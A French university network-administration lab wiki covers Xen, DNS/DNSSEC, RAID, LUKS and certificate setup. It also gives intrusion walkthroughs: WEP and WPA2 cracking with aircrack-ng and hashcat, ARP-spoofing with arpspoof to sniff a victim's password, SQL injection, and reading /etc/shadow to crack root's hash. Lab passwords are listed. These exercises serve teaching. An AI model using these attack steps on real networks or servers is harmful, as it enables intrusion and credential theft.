Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54631</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54631"/>
				<updated>2020-12-14T17:28:44Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
